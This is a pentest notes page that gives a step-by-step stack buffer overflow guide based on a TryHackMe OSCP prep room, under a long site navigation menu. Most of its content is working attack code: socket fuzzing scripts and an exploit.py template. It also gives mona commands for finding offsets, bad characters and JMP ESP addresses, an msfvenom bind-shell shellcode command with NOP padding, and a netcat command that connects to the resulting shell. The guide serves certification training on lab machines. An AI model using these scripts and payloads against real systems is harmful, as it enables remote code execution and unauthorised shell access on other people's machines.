Pentest Everything
GitHubSupport Pentest Everything
  • ⚔️Pentest Everything
  • 🚩Writeups
    • CyberSecLabs
      • Active Directory
        • Dictionary
        • Spray (WIP)
      • Linux
        • Shock
        • Pie
      • Windows
        • Brute
        • Deployable
        • Glass
        • Monitor
        • Sam
        • Secret
        • Stack
        • Unattended
        • Weak
    • HackTheBox
      • Active Directory
        • Active
        • Blackfield
        • Cascade
        • Forest
        • Intelligence
        • Mantis
        • Monteverde
        • Resolute
        • Return
        • Sauna
        • Search
      • Linux
        • Antique
        • Armageddon
        • Backdoor
        • Bashed
        • Cap
        • Cronos
        • Curling
        • Knife
        • Lame
        • Help
        • Horizontall
        • OpenAdmin
        • Poison
        • SolidState
        • Traceback
        • Trick
      • Windows
        • Access
        • Artic
        • Bastard
        • Bastion
        • Bounty
        • Devel
        • Heist
        • Jeeves
        • Jerry
        • Legacy
        • Love
        • Optimum
        • Remote
        • SecNotes
        • Servmon
        • Timelapse
        • Querier
    • PG Play | Vulnhub
      • Linux
        • BBSCute
        • BTRSys2.1
        • Born2root
        • BossPlayersCTF
        • Covfefe
        • Dawn
        • DC5
        • Funbox
        • FunboxEasy
        • FunBoxEasyEnum
        • HackerFest2019
        • Geisha
        • JISCTF
        • My-CMSMS
        • NoName
        • OnSystemShellDredd
        • Photographer
        • Potato
        • PyExp
        • Samurai
        • SunsetDecoy
        • SunsetMidnight
        • SunsetTwilight
        • Wpwn
    • PG Practice
      • Linux
        • ClamAV
        • Nibbles
        • Payday
        • Pelican
        • Peppo
        • Postfish
        • Pwned1
        • Snookums
        • Sirol
        • Sorcerer
        • Quackerjack
        • WebCal
        • Walla
        • ZenPhoto
        • Zino
      • Windows
        • Algernon
        • Compromised
        • Kevin
        • Helpdesk
        • Hutch
        • Jacko
        • Meathead
        • Metallus
        • Shenzi
        • Slort
        • UT99
    • TryHackMe
      • Linux
        • All in One
        • Archangel
        • Anonforce
        • Biblioteca
        • Cat Pictures
        • Chill Hack
        • CMesS
        • ColddBox
        • ConvertMyVideo
        • CyberHeroes
        • Cyborg
        • Dav
        • Fusion Corp
        • GamingServer
        • Gallery
        • Internal
        • Jacobtheboss
        • Kiba
        • LazyAdmin
        • Library
        • Madness
        • Marketplace
        • Mustacchio
        • NerdHerd
        • Oh My WebServer
        • Olympus
        • Plotted-TMS
        • Skynet
        • Startup
        • Surfer
        • Team
        • Tech_Supp0rt: 1
        • Tomghost
        • VulnNet
        • Undiscovered
        • Year of the Owl
      • Windows
        • Blueprint
        • Enterprise
        • Flatline
        • Quotient
        • RazorBlack
        • Relevant
        • USTOUN
        • VulnNet: Roasted
    • To Do
      • AllSignsPoint2Pwnage (WIP)
      • Hunit (WIP)
      • Escape (WIP)
      • Banzai (WIP)
      • Billyboss (WIP)
      • Fish
      • Ra
      • Roquefort (WIP)
  • 💾GitHub
  • 🔵PsMapExec
    • Change Log
    • BloodHound
    • Using Credentials
    • Cross Domain Usage
    • Methods
      • Command Execution
      • DCSync
      • GenRelayList / SMB Signing
      • Inject
      • IPMI
      • Kerberoast
      • MSSQL
      • Session Hunter
      • Spray
    • Modules
      • Amnesiac
      • ConsoleHistory
      • Files
      • FileZilla
      • KerbDump
      • eKeys
      • LDAP / LDAPS
      • LogonPasswords
      • LSA
      • MDF
      • NTDS
      • Notepad
      • NTLM
      • SAM
      • SCCM
      • SessionExec
      • SessionRelay
      • SSH
      • TGTDeleg
      • VNC
      • Wi-Fi
      • WinSCP
    • Target Acquisition
  • Everything
    • Buffer Overflow Guide
    • Everything Active Directory and Windows
      • Active Directory Enumeration
      • ADCS
        • Enumeration - Certificate Authority
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC6
        • ESC7
        • ESC8
        • ESC9 - WIP
        • ESC11
      • Access Token Manipultion
        • Token Impersonation
        • Create Process with Token
        • 🔨Make and Impersonate Token
        • Parent PID Spoofing
        • 🔨SID-History Injection
      • Adversary-in-the-Middle
        • 🔨LDAP Relay
        • 🔨LLMNR
        • 🔨RDP MiTM
        • 🔨SMB Relay
      • Credential Access
        • Brute Force
          • Password Spraying
        • Credential Dumping
          • LSASS Memory
          • Security Account Manager (SAM)
          • NTDS
          • LSA Secrets
          • Cached Domain Credentials
          • DCSync
            • 🔨DCSync Attack
        • Credentials from Password Stores
          • Credentials from Web Browsers
          • Windows Credential Manager
        • Unsecured Credentials
          • Credentials In Files
          • Credentials in Registry
          • Group Policy Preferences
            • 🔨GPP Passwords
        • 🔨Modify Authentication Process
          • Domain Controller Authentication: Skeleton Key
          • Reversible Encryption
        • Steal or Forge Kerberos Tickets
          • AS-REP Roasting
          • Golden Ticket
          • Kerberoasting
          • Silver Ticket
          • S4U2Self
          • Ticket Aquisition
          • Constrained Delegation
          • Unconstrained Delegation
      • Collection
        • Clipboard Data
        • Audio Capture
      • Defense Evasion
        • Disable and Bypass Defender
        • Impair Defenses
          • Disable Windows Event Logging
          • Impair Command History Logging
          • Disable or Modify System Firewall
        • Indicator Removal
          • Clear Windows Event Logs
          • Clear Command History
          • File Deletion
          • Network Share Connection Removal
          • Timestomp
      • Input Capture
        • Keylogging
      • Lateral Movement
        • PowerShell Remoting
        • Alternate Authentication Material
          • Pass The Hash
          • Pass the Ticket
          • Pass the Password
      • File Execution Methods
      • File Transfer Techniques
      • Forced Coercion
        • URL File Attack
      • LAPS
      • Network Sniffing
      • Persistence
        • AdminSDHolder
        • BITS Jobs
        • Create Account
          • Local Account
          • Domain Account
          • Cloud Account
        • Create or Modify System Process
          • Windows Service
        • Custom SSP
        • DSRM
        • 🔨Persistence Notes
        • Skeleton Key Attack
      • Privilege Escalation
        • Privilege Escalation Checklist
        • DnsAdmin
        • Registry
          • Always Install Elevated
          • AutoRuns
        • Service Exploits
          • Insecure Service Permissions
      • SCCM / MECM
        • Recon
        • CRED-1 - PXE Abuse
        • CRED-2 - Policy Request Credentials
        • CRED-3 - WMI Local Secrets
        • CRED-4 - CIM Repository
        • CRED-5 - MSSQL Database
        • ELEVATE-2 - Client Push
        • TAKEOVER-2
      • Timeroasting
      • Tools
        • BloodHound
    • Everything Linux
      • File Transfer Techniques
      • Linux Privilege Escalation Techniques
      • Privilege Escalation Checklist
      • Shell Upgrades
    • Everything OSINT
      • Discovering Email Addresses
      • Dork Tools
      • Image OSINT
      • Metadata OSINT
      • Password OSINT
      • Phone Number OSINT
      • Search Engine Operators
      • Social Media OSINT Tools
      • OSINT CTFs
      • OSINT VM
      • Username OSINT
    • Everything Web
      • Command Injection
      • Enumeration
      • File Upload
      • Sub Domain Enumeration
      • XSS
    • Host Discovery
    • Pivoting and Portforwarding
    • Ports
      • Nmap Commands for port discovery
      • Port 21 | FTP
      • Port 25 | SMTP
      • Port 53 | DNS
      • Port 88 | Kerberos
      • Ports 111 | 32771 | rpcbind
      • Port 123 | NTP
      • Ports 137 | 138 | 139 | NetBIOS
      • Ports 139 | 445 | SMB
      • Ports 161 | 162 | SNMP
      • Port 389 | LDAP
      • Ports 1099 | Java RMI
      • Ports 2049 | NFS
      • Port 3389 | RDP
      • Ports 8080 | 8180 | Apache Tomcat
    • PowerShell
      • Constrained Language Mode
      • Download and Execution Methods
      • Resources
      • Restricted Mode
  • Resources
    • Cheat Sheets
      • Default Passwords
      • Kerberoast
      • Mimikatz
      • Powerup
    • Hashcat Word lists and Rules
    • Metasploit Modules
    • Misc Snippets
    • GTFOBins
    • LOLBAS
    • WADCOMS
    • Reverse Shell Generator
    • OSINT Tools
    • Weakpass
  • Password Filter DLL
  • Dork Cheatsheet
Powered by GitBook
On this page
  • Finding Bad Characters
  • Additional Notes
  • Reverse vs Bind shell

Was this helpful?

  1. Everything

Buffer Overflow Guide

Last updated 2 years ago

Was this helpful?

This following page recreates the steps on the TryHackMe room linked below in order to perform a simple stack based buffer overflow.

Configure Mona on the RDP session. Inside Immunity Debugger run the following command in the command box.

!mona config -set workingfolder c:\mona\%p

Run the script below to Fuzz the application.

import socket, time, sys

ip = "<IP>"
port = 1337
timeout = 5

buffer = []
counter = 100
while len(buffer) < 30:
    buffer.append("A" * counter)
    counter += 100

for string in buffer:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(timeout)
        connect = s.connect((ip, port))
        s.recv(1024)
        print("Fuzzing with %s bytes" % len(string))
        s.send("OVERFLOW1 " + string + "\r\n")
        s.recv(1024)
        s.close()
    except:
        print("Could not connect to " + ip + ":" + str(port))
        sys.exit(0)
    time.sleep(1)
# Makes uses of multi stage input. (Enter name then message)
import socket, time, sys

ip = "<IP>"
port = 1337
timeout = 5

buffer = []
counter = 100
while len(buffer) < 30:
    buffer.append("A" * counter)
    counter += 100

for string in buffer:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(timeout)
        connect = s.connect((ip, port))
        s.recv(1024)
        print("Fuzzing with %s bytes" % len(string))
        s.send("brainstorm " + string + "\r\n")
        s.recv(1024)
        s.send("message " + string + "\r\n")
        s.recv(1024)
        s.close()
    except:
        print("Could not connect to " + ip + ":" + str(port))
        sys.exit(0)
    time.sleep(1)
# Generate patterns wih '/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100'
# Place the value into the 'buffer' variable. Slowly increase pattern value until app crashes.
 
import socket,sys
 
address = "192.168.1.150"
port = 31337
buffer = "Aa0Aa1Aa2"
 
try:
    print "[+] Sending buffer"
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((address,port))
    s.send(buffer + '\r\n')
except:
    print "[!] Unable to connect to the application."
    sys.exit(0)
finally:
    s.close()

Once the Python script has started it will crash the immunity debugger after a short amount of time. Make a note of the last bytes sent to Immunity.

Make a note of the last bytes sent of 2000.

Create the following python file for exploiting the application.

import socket

ip = "<IP>"
port = 1337

prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    s.connect((ip, port))
    print("Sending evil buffer...")
    s.send(buffer + "\r\n")
    print("Done!")
except:
    print("Could not connect.")

Run the following command to generate a cyclic pattern of a length 400 bytes longer that the string that crashed the server (change the -l value to this):

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2400

Place the generated value into the payload variable in the exploit.py file.

Reopen the OSCP.exe file in Immunity Debugger and run. Then run the exploit.py file. This will crash the application. We can then run the following command in the Immunity debugger command box. The distance value must match the value we used to create the cyclic value.

!mona findmsp -distance 2400

Mona should produce a log window where we need to view the value of the line EIP contains normal pattern : ... (offset XXXX)

Take note of the offset value. In the example below this value is 1978. Then open the exploit.py script and set the value of offset to the value produced by Mona which in this case is 1978. We can also set the 'retn' value to BBBB which converts to hex value of 42424242.

Again restart the OSCP.exe file in Immunity Debugger. Then run the exploit.py script again. For the value EIP you should see 42424242 which is BBBB as B has the hex value of '42'. This confirms a buffer overflow would theoretically work. Reset the payload string to an empty string again.

Restart OSCP.exe and run the exploit again.

The value that we need to take note of here is the ESP value which below is shown as '0180FA30'.

Finding Bad Characters

We now need to identify bad characters by default the null-byte value "\x00" is excluded. Generate a bytearray file with Mona using the following command.

!mona bytearray -b "\x00"

This will save the results of the array to c:\mona\oscp\bytearray.txt. Next use the python script below to generate a list of bad characters.

from __future__ import print_function

for x in range(1, 256):
    print("\\x" + "{:02x}".format(x), end='')

print()

We need to then take the output of the bytearray.py script and set it as the payload value in the exploit.py script.

Restart OSCP.exe in Immunity Debugger. Run the exploit and make a note of the value in which the ESP is set to.

ESP value is now 01A2FA30. Now run the following command in Mona specifying the value of the ESP.

!mona compare -f C:\mona\oscp\bytearray.bin -a <address>

Mona will return a Memory comparison results windows which will show the bad characters.

Generally speaking with bad characters a bad character will also corrupt the byte to the immediate right of it. Assuming this with the data above we can assume the bad characters are: '\x00\x07\x2e\xa0".

Next run the bytearray command in Mona again specifying all bad characters.

!mona bytearray -b "\x00\x07\x2e\xa0"

Remove the same bad characters listed above from the payload variable in exploit.py.

Now restart the OSCP.exe in Immunity and then run the exploit.py again. Once the exploit has run and crashed the OSCP.exe we can then run the comparison command against the new ESP value.

!mona compare -f C:\mona\oscp\bytearray.bin -a 01A5FA30

We now need to find a jump point. Run the command below with the included bad characters to find the jump point:

!mona jmp -r esp -cpb "\x00\x07\x2e\xa0"

We can then use any of these addresses going forwards. I will in this example use the first address of 625011af

We need to then take this value and reverse it and use it in the 'retn' value in exploit.py. The reverse value is converted into bytes is: \xaf\x11\x50\x62

After this has been completed we need to use msfvenom to generate a payload. The syntax is shown below.

Please see the 'Additional Notes' section at the end regarding shell types.

msfvenom -p windows/shell_bind_tcp RHOST=10.10.36.168 LPORT=443 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f py

Add the generated shellcode to exploit.py Ensure the payload variable in exploit.py is set to 'buf' and the shellcode is placed above the payload variable in the script order.

Prepend NOPs

We need to add some padding to the payload to allow room for it to unpack itself. You can do this by setting the padding variable to a string of 16 or more "No Operation" (\x90) bytes:

padding = "\x90" * 16

Restart OSCP.exe and then run exploit.py. The application should continue to run and not be in a 'paused' state. From here use netcat to connect to the port specified in the msfvenom payload and you should get a shell on the target machine.

nc 10.10.36.168 443

Additional Notes

For myself this was room was my primary Buffer Overflow prep and I was able to pass the OSCP Buffer Overflow without any issues.

Reverse vs Bind shell

An important part of the buffer overflow is the msfvenom payload generation. Functionally both bind and reverse shell are fine to use and one does not provide any significant advantage over the other.

If you are taking the OSCP exam I highly recommend using a bind shell as opposed to a reverse shell. Simply put there is less margin for error when the examiner is repeating your process for shellcode generation.

As part of the requirement for passing the buffer overflow you are required to provide your full exploit script. If your script includes shell code for a reverse shell the examiner will need to regenerate the shell code to point back to them.

With bind shell code they can simply copy your script and netcat in. As this is less steps and easier for the examiner this is a more preferable and safer approach.

Providing all the bad characters have been identified and the steps above follow correctly you should see a screen similar to below stating ''

This walk through was heavily based on the 'Buffer Overflow Prep' TryHackMe room created by . The scripts and methods here are based off this room and I highly recommend completing the room as prep for the OSCP buffer overflow.

Buffer Overflow Prep:

Tib3rius GitHub:

!!! Hooray, normal shellcode unmodified !!!
Tib3rius
https://tryhackme.com/room/bufferoverflowprep
https://github.com/Tib3rius
LogoTryHackMe | Buffer Overflow PrepTryHackMe